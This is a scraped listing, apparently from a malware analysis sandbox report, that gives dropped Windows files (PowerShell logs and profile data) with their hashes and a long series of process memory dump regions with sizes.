C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
440cb38dbee06645cc8b74d51f6e5f71

SHA1
d7e61da91dc4502e9ae83281b88c1e48584edb7c

SHA256
8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe

SHA512
3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
359d1e37a264703c99ebd01eed362de5

SHA1
a1122c8bf9848b3371cd191ba540864204d1d845

SHA256
5781f3046b0d978469415a059cf5ceae0e532869e69ab1dffb8ed878bd299b07

SHA512
ce3caa1d2205be8167b7cd48ebf538a9ce8c148643c26a20377894aa15cf00f90b2b5e2ebf35d40a0273c088abc11fe6f010e34691d7fbc4bef8d7e482f5087d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d5cbd2fca9cb176ad25444fa061f848d

SHA1
720cbda940ec7c13e9c0fb6f4725dd281507a94b

SHA256
4e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230

SHA512
fb80bcd8e49fff4d4a4fcb5844691d674cd749cbc84b75feac37b83401b8beff0ee9c6f122f683c98da9b5ab15d4dd803c7e2aea8721f90f60dbb9d19c9a0eb2

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptw5ganj.lpi.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/64-111-0x000001C8AF730000-0x000001C8AF740000-memory.dmp

Filesize
64KB

Download
memory/64-98-0x000001C8AF730000-0x000001C8AF740000-memory.dmp

Filesize
64KB

Download
memory/64-110-0x000001C8AF730000-0x000001C8AF740000-memory.dmp

Filesize
64KB

Download
memory/64-99-0x000001C8AF730000-0x000001C8AF740000-memory.dmp

Filesize
64KB

Download
memory/64-113-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/64-97-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/1404-124-0x00007FF687F20000-0x00007FF687F36000-memory.dmp

Filesize
88KB

Download
memory/1404-130-0x00007FF687F20000-0x00007FF687F36000-memory.dmp

Filesize
88KB

Download
memory/1992-143-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-149-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-185-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-183-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-181-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-179-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-177-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-175-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-173-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-171-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-169-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-167-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-165-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-163-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-161-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-159-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-157-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-155-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-153-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-151-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-147-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-145-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-141-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-139-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-137-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-135-0x0000027F62510000-0x0000027F62530000-memory.dmp

Filesize
128KB

Download
memory/1992-134-0x0000027F624F0000-0x0000027F62510000-memory.dmp

Filesize
128KB

Download
memory/1992-133-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-131-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-129-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-118-0x0000027F61EE0000-0x0000027F61F00000-memory.dmp

Filesize
128KB

Download
memory/1992-117-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-123-0x0000027F61F50000-0x0000027F61F70000-memory.dmp

Filesize
128KB

Download
memory/1992-127-0x0000027F62510000-0x0000027F62530000-memory.dmp

Filesize
128KB

Download
memory/1992-125-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

Filesize
8.0MB

Download
memory/1992-126-0x0000027F624F0000-0x0000027F62510000-memory.dmp

Filesize
128KB

Download
memory/2164-119-0x00007FF7D0950000-0x00007FF7D0B61000-memory.dmp

Filesize
2.1MB

Download
memory/2164-51-0x00007FF7D0950000-0x00007FF7D0B61000-memory.dmp

Filesize
2.1MB

Download
memory/2220-33-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/2220-31-0x0000020E77CB0000-0x0000020E77CC0000-memory.dmp

Filesize
64KB

Download
memory/2220-30-0x0000020E77CB0000-0x0000020E77CC0000-memory.dmp

Filesize
64KB

Download
memory/2220-29-0x0000020E77CB0000-0x0000020E77CC0000-memory.dmp

Filesize
64KB

Download
memory/2220-28-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/2608-0-0x00007FF7C06D0000-0x00007FF7C08E1000-memory.dmp

Filesize
2.1MB

Download
memory/2608-35-0x00007FF7C06D0000-0x00007FF7C08E1000-memory.dmp

Filesize
2.1MB

Download
memory/4240-12-0x0000017072F70000-0x0000017072F80000-memory.dmp

Filesize
64KB

Download
memory/4240-11-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/4240-16-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/4240-13-0x0000017072F70000-0x0000017072F80000-memory.dmp

Filesize
64KB

Download
memory/4240-1-0x0000017075120000-0x0000017075142000-memory.dmp

Filesize
136KB

Download
memory/4352-76-0x000002AC1B5D0000-0x000002AC1B5DA000-memory.dmp

Filesize
40KB

Download
memory/4352-74-0x000002AC1B620000-0x000002AC1B630000-memory.dmp

Filesize
64KB

Download
memory/4352-79-0x000002AC1DCC0000-0x000002AC1DCDA000-memory.dmp

Filesize
104KB

Download
memory/4352-86-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/4352-83-0x000002AC1B620000-0x000002AC1B630000-memory.dmp

Filesize
64KB

Download
memory/4352-81-0x000002AC1DCA0000-0x000002AC1DCA6000-memory.dmp

Filesize
24KB

Download
memory/4352-82-0x000002AC1DCB0000-0x000002AC1DCBA000-memory.dmp

Filesize
40KB

Download
memory/4352-78-0x000002AC1B5E0000-0x000002AC1B5EA000-memory.dmp

Filesize
40KB

Download
memory/4352-77-0x000002AC1B600000-0x000002AC1B61C000-memory.dmp

Filesize
112KB

Download
memory/4352-62-0x000002AC1B620000-0x000002AC1B630000-memory.dmp

Filesize
64KB

Download
memory/4352-80-0x000002AC1B5F0000-0x000002AC1B5F8000-memory.dmp

Filesize
32KB

Download
memory/4352-75-0x000002AC1DAA0000-0x000002AC1DB55000-memory.dmp

Filesize
724KB

Download
memory/4352-73-0x000002AC1B5B0000-0x000002AC1B5CC000-memory.dmp

Filesize
112KB

Download
memory/4352-61-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/4352-63-0x000002AC1B620000-0x000002AC1B630000-memory.dmp

Filesize
64KB

Download
memory/4724-50-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/4724-46-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

Filesize
10.8MB

Download
memory/4724-47-0x000001F43E3C0000-0x000001F43E3D0000-memory.dmp

Filesize
64KB

Download